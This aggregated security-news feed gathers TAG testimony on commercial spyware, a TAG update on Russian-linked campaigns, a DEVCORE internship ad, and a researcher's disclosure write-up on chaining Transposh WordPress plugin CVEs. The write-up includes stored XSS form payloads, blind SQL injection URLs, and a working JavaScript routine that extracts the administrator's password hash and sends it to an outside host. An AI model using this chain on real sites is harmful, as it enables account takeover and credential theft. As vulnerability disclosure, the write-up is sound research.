🔒
There are new articles available, click to refresh the page.
Before yesterdayUncategorized

HanseSecure als Speaker in der Allianz Arena München

14 August 2022 at 11:27
Florian Hansemann als Speaker in der Allinaz Arena...

HanseSecure im ARD München Report

14 August 2022 at 10:26
Gängige Bewerberportale bieten den Nährboden für falsche Stellenanzeigen und den einhergehenden Identitätsdiebstahl. "Schicken Sie uns Ihren Lebenslauf und wir benötigen Ihre Daten", somit -VIELEN DANK für IHRE IDENTITÄT-. Erkennbar ist für Bewerber nichts! Diese Masche läuft schnell und unkompliziert. Die Gefahr- plötzlich führt die Unwissenheit zur Strafe. Strafverfahren für den gutgläubigen Bewerber folgen.

Week of Data Dumps, Part 7 – registry

6 August 2022 at 20:57
By: adam
This one is not a surprise, I hope. Most of forensic artifacts come from either file- or Registry- oriented artifacts. Of course, there is a macOS&OS/X world out there, there […]

Week of Data Dumps, Part 6 – file names

5 August 2022 at 20:45
By: adam
This week is longer than I thought, so time to catch up… 🙂 This one is a mess, but sometimes a bit of a mess is not a bad thing. […]

Week of Data Dumps, Part 5 – commands

31 July 2022 at 18:40
By: adam
Writing your own sandbox has many advantages – the most important is an ability to collect data only large companies have. Analysing many samples gives us an unique insight into […]

Week of Data Dumps, Part 4 – games-related strings

30 July 2022 at 20:51
By: adam
This series got a bit delayed, because I got sick last week. — This is a bit counter-intuitive – why would you want to collect strings related to games? First, […]

Google’s efforts to identify and counter spyware

27 July 2022 at 16:00

The following testimony was delivered to the U.S. House Intelligence Committeeby Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.

Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee:

Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware. We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.

Our expert teams

Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users. We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources. Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats. TAG actively monitors threat actors and the evolution of their tactics and techniques. For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.

We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers. We also publicly release information about the operations we disrupt, which is available to our government partners and the general public. TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware. And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet. We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.

Our ongoing work

Google has a long track record combating commercial surveillance tools targeting our users. In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware. At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices. We observed fewer than three dozen installs of this spyware. We remediated the compromises for these users and implemented controls to protect all Android users.

NSO Group continues to pose risks across the Internet ecosystem. In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android. Google was able to identify the vulnerability in use and fix the exploit quickly. In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users. iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link. Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense. Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.

Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users. For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer. We assessed that a surveillance vendor packaged and sold these technologies. Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor. Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.

Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users. We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments. Among other targets, this spyware was used to compromise journalists and opposition politicians. Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.

TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service. In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves. They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns. In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.

The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats. Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.

Risks posed by commercial spyware are increasing

Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments. These vendors operate with deep technical expertise to develop and operationalize exploits. We believe its use is growing, fueled by demand from governments.

Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors. TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.

This industry appears to be thriving. In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track. This trend should be concerning to the United States and all citizens. These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house. While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.

We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors. Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations. The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.

In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet. While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised. This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.

The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends. This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.

Google’s work to protect users

Across all Google products, we incorporate industry-leading security features and protections to keep our users safe. On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm. Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files. Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.

On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam. Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures. We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source. And we offer other advanced phishing and malware protection to administrators to better protect their users. By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder. However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.

For Android, through its entire development lifecycle, we subject the products to a rigorous security program. The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources. We ensure appropriate controls are built into the architecture of the system. During the development stage, Android-created and open source components are subject to vigorous security reviews For users, Android provides safety and control over how apps and third parties can access the data from their devices. For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.

We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands. For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.

Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents. Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms. We also provide research grants to security researchers to help fund and support the research community. This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure. Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.

Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools. Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites. We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today. To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security. APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.

Whole of Society response necessary to tackle spyware

We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret. The first step is to understand the scope of the problem. We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors. The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry. The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.

We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions. Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment. The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.

Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry. Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.

Google is investing heavily as a company and as an industry to counter serious threats to our users. In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits. While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries. Google is committed to leading the industry in detecting and disrupting these threats.

I thank the Committee for this attention on this critical issue.

DEVCORE 2022 第二屆實習生計畫

24 July 2022 at 16:00

DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;今年年初,我們開始嘗試舉辦第一屆實習生計畫,希望培育人才、增強新世代的資安技能,最終成果也超乎預期。於是我們決定在今年 9 月進行第二屆實習生計畫,如果您對這個計畫有興趣,歡迎來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary
    以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit 理解過去漏洞都出現在哪,並將之武器化,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 及武器化 (Weaponization) 30 %
  • Web
    主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2022 年 9 月開始到 2023 年 2 月底,共 6 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷資格審查
  • 問答題答案(共 2 題,各組別題目不同,詳見下方報名方式

我們會根據您的履歷及所回答的內容來決定是否有通過第一階段,會在七個工作天內回覆。

第二階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2022/08/05 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁
  • 題目如下,請依照欲申請之組別回答
    • Binary
      • 簡答題
        • 假設你今天要分析一台印表機
          • 你會如何去分析 ?
          • 你覺得有哪些地方可能會發生問題導致攻擊者可以獲得印表機控制權? 為什麼 ?
      • 實作題目
        • 題目檔案
          • 為一個互動式的 Server,可透過網路連線與之互動。
        • 請分析上述所提供的 Server,並利用其中的漏洞在 Windows 11 上跳出 calc.exe。
          • 漏洞可能有很多,不一定每個都可以利用。
        • 請務必寫下解題過程及如何去分析這個 Server,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。
    • Web
      • 當你在網頁瀏覽器的網址列上輸入一串網址(例如:http://site.fake.devco.re/index.php?foo=bar),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。
      • 請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2022 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響,以及所對應到的 OWASP Top 10 / CWE 類別。

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

Week of Data Dumps, Part 3 – service names

23 July 2022 at 17:16
By: adam
Knowing what service name is what is quite useful. The attached list lists many, primarily native OS, and security product-related services that I have aggregated by looking at native services […]

The curse of being ‘technical’

22 July 2022 at 22:12
By: adam
You are either technical, or you are not. What does it mean? Many tried to answer that borderline philosophical question, but as far as I know no one is really […]

Week of Data Dumps, Part 2 – GUIDs

22 July 2022 at 20:40
By: adam
There was a time when knowing GUIDs of adware/spyware you could instantly attribute a sample to a known rogue company or group. Of course, these days are long gone, but […]

WordPress Transposh: Exploiting a Blind SQL Injection via XSS

22 July 2022 at 00:00

Introduction

You probably have read about my recent swamp of CVEs affecting a WordPress plugin called Transposh Translation Filter, which resulted in more than $30,000 in bounties:

Here’s the story about how you could chain three of these CVEs to go from unauthenticated visitor to admin.

Part 1: CVE-2022-2461 - Weak Default Configuration

So the first issue arises when you add Transposh as a plugin to your WordPress site; it comes with a weak default configuration that allows any user (aka Anonymous) to submit new translation entries using the ajax action tp_translation:

This effectively means that an attacker could already influence the (translated) content on a WordPress site, which is shown to all visitors.

Part 2: CVE-2021-24911 - Unauthenticated Stored Cross-Site Scripting

The same ajax action tp_translation can also be used to permanently place arbitrary JavaScript into the Transposh admin backend using the following payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

When an administrator now visits either Transposh’s main dashboard page at /wp-admin/admin.php?page=tp_main or the Translation editor tab at /wp-admin/admin.php?page=tp_editor, then they’ll execute the injected arbitrary JavaScript:

At this point, you can already do a lot of stuff on the backend, but let’s escalate it further by exploiting a seemingly less severe authenticated SQL Injection.

Part 3: CVE-2022-25811 - Authenticated SQL Injections

So this is probably the most exciting part, although the SQL Injections alone only have a CVSS score of 6.8 because they are only exploitable using administrative permissions. Overall, we’re dealing with a blind SQL Injection here, which can be triggered using a simple sleep payload:

/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))

This results in a nice delay of the response proving the SQL Injection:

To fully escalate this chain, let’s get to the most interesting part.

How to (Quickly) Exploit a Blind SQL Injection via Cross-Site Scripting

Approach

Have you ever thought about how to exploit a blind SQL Injection via JavaScript? You might have read my previous blog article, where I used a similar bug chain, but with an error-based SQL Injection. That one only required a single injection payload to exfiltrate the admin user’s password, which is trivially easy. However, to exploit a blind SQL Injection, you typically need hundreds, probably thousands of boolean (or time-based) comparisons to exfiltrate data. The goal here is the same: extracting the administrator’s password from the database.

Now, you might think: well, you could use a boolean comparison and iterate over each character of the password. However, since those hashed passwords (WordPress uses the pHpass algorithm to create passwords) are typically 30 characters long (excluding the first four static bytes $P$B) and consist of alphanumeric characters including some special chars (i.e. $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/), going through all the possible ASCII characters from 46 (“.”) to 122 (lower-capital “z”) would require you to send around 76 requests per character which could result in 76*30 = 2280 requests.

This is a lot and will require the victim to stay on the page for quite a while.

So let’s do it a bit smarter with only around 320 requests, which is around 84% fewer requests. Yes, you might still find more optimization potential in my following approach, but I find 84% to be enough here.

Transposh’s Sanitization?!

While doing the source code review to complete this chain, I stumbled upon a useless attempt to filter special characters for the vulnerable order and orderBy parameters. It looks like they decided to only filter for FILTER_SANITIZE_SPECIAL_CHARS which translates to "<>&:

$orderby = (!empty(filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS) : 'timestamp';
$order = (!empty(filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS) : 'desc';

It’s still a limitation, but easy to work around: we’re just going to replace the required comparison characters < and > with a between x and y. We don’t actually care about " and & since the payload doesn’t really require them.

Preparing The Test Cases

The SQL Injection payload that can be used looks like the following (thanks to sqlmap for the initial payload!):

(SELECT+(
  CASE+WHEN+(
    ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))
    +BETWEEN+1+AND+122)+
    THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))

I’ve split the payload up for readability reasons here. Let me explain its core components:

  • The ORD() (together with the MID) walks the user_pass string which is returned by the subquery character by character. This means we’ll get the password char by char. I’ve also added a WHERE id=1 clause to ensure we’re just grabbing the password of WordPress’s user id 1, which is usually the administrator of the instance.
  • The CASE WHEN –> BETWEEN 1 and 122 part validates whether each returned character matches an ordinal between 1 and 122.
  • The THEN –> ELSE part makes the difference in the overall output and the datapoint we will rely on when exploiting this with a Boolean-based approach.

The False Case

Let’s see how we can differentiate the responses to the BETWEEN x and y part. We do already know that the first character of a WordPress password is $ (ASCII 36), so let’s take this to show how the application reacts.

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+100+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) performs a BETWEEN 100 and 122 test which results in the following visible output:

The True Case

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+1+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) in return performs a BETWEEN 1 and 122 check and returns a different visible output:

As you can see on the last screenshot, in the true case, the application will show the Bulk actions dropdown alongside the translated strings. This string will be our differentiator!

How to Reduce the Exploitation Requests from ~2200 to ~300

So we need to find a way not to have to send 76 requests per character - from 46 (.) to 122 (lower-capital z). So let’s do it by approximation. My idea is to use the range of 46-122 and apply some math:

Let’s first define a couple of things:

  • 46: the lowest end of the possible character set –> cur (current) value.
  • 122: the upper end of the possible character set –> max (maximum) value.
  • 0: the previous valid current value –> prev value. Here we need to keep track of the previously true case value to be able to revert the calculation to a working case if we’d encounter a false case. 0 because we don’t know the first valid value.

Doing the initial between check of cur and maxwill always result in a true case (because it’s the entire allowed character set). To narrow it down, we now point cur value to exactly the middle between cur and max using the formula:

cur = cur + (Math.floor((max-cur)/2));

This results in a check of BETWEEN 84 and 122. So we’re checking if the target is located in the upper OR implicitly in the lower half of the range. If this would again result in a true case because the character in probing is in that range, do the same calculation again and narrow it down to the correct character.

However, if we’d encounter a false case because the character is lower than 84, then let’s set the max value to the cur one because we have to instead look into the lower half, and also set cur to the prev value to keep track of it.

Based on this theory and to match the character uppercase C (ASCII: 67), the following would happen:

true: cur:84, prev:46,max:122
true: cur:65, prev:46,max:84
true: cur:74, prev:65,max:84
true: cur:69, prev:65,max:74
true: cur:67, prev:65,max:69
true: cur:68, prev:67,max:69
true: cur:67, prev:67,max:68

Finally, if cur equals prev, we’ve found the correct char. And it took about seven requests to get there, instead of 21 (67-46).

Some JavaScript (Magic)

Honestly, I’m not a JavaScript pro, and there might be ways to optimize it, but here’s my implementation of it, which should work with any blind SQL Injections that you want to chain with an XSS against WordPress:

async function exploit() {
    let result = "$P$B";
    let targetChar = 5;
    let prev = 0;
    let cur = 46;
    let max = 122;
    let requestCount = 0;

    do {
        let url = `/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),${targetChar},1))+BETWEEN+${cur}+AND+${max})+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))`

        const response = await fetch(url)
        const data = await response.text()

        requestCount = requestCount + 1;

        // this is the true/false differentiator
        if(data.includes("Bulk actions"))
        {
            // "true" case
            prev = cur;
            cur = cur + (Math.floor((max-cur)/2));

            //console.log('true: cur:' + cur + ', prev:' + prev + ',max:' + max );

            if(cur === 0 && prev === 0) {
                console.log('Request count: ' + requestCount);
                return(result)
            }

            // this means we've found the correct char
            if(cur === prev) {
                result = result + String.fromCharCode(cur);

                // reset initial values
                prev = 0;
                cur = 20;
                max = 122;

                // proceed with next char
                targetChar = targetChar + 1;

                console.log(result);
            }
        }
        else
        {
            // "false" case
            // console.log('false: cur:' + cur + ', prev:' + prev + ',max:' + max );

            max = cur;
            cur = prev;
        }
    } while (1)
}



exploit().then(x => {
    console.log('password: ' + x);

    // let's leak it to somewhere else
    leakUrl = "http://www.rcesecurity.com?password=" + x
    xhr = new XMLHttpRequest();
    xhr.open('GET', leakUrl);
    xhr.send();
});

Connecting the Dots

Now you could inject a Stored XSS payload like the following, which points a script src to a JavaScript file containing the payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="xss" />
      <input type="hidden" name="items" value="3" />
      <input type="hidden" name="tk0" value="xss&lt;script&#32;src&#61;&quot;https&#58;&#47;&#47;www&#46;attacker&#46;wf&#47;ff&#46;js&quot;&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Trick an admin into visiting the Transposh backend, and finally enjoy your WordPress hash:

Week of Data Dumps, Part 1 – device names

21 July 2022 at 21:05
By: adam
Reversing is not only hours spent analyzing code. It’s also about collecting interesting data so that it can be used to quickly determine other programs’ functionality in the future. Recognizing […]

Continued cyber activity in Eastern Europe observed by TAG

19 July 2022 at 15:30

Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine. Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same. TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.

Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin. Most of these coordinated influence operations are Russian language efforts aimed at ensuring domestic support in Russia for the war.

Here is a deeper look at some campaign activity TAG has observed since our last update:

Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment. This is the first known instance of Turla distributing Android-related malware. The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services. We believe there was no major impact on Android users and that the number of installs was miniscule.

The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites. However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective. The list of target websites for the app can be seen in the CyberChef recipe here.

An example of the Turla website disseminating fake DoS Android Apps.

Turla website disseminating fake DoS Android Apps.

During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites. In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro. This app is quite different from the Turla apps described above and written by a different developer. It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.

An example of a pro-Ukrainian website used for disseminating StopWar.apk.

Pro-Ukrainian website used for disseminating StopWar.apk.

Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.

The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft. Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).

Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability. The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.

TAG has also observed an increasing number of financially motivated actors targeting Ukraine. One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine. We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.

Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users. They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March. An example of this technique, used to target Facebook users, can be seen in the screenshot below.

An image of a technique used to target Facebook users

An example of this technique used to target Facebook users

COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists. In addition to including phishing links directly in the email, the attackers also link to PDFs and/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain. In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.

These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.

Image of an example of a recent COLDRIVER phishing lure

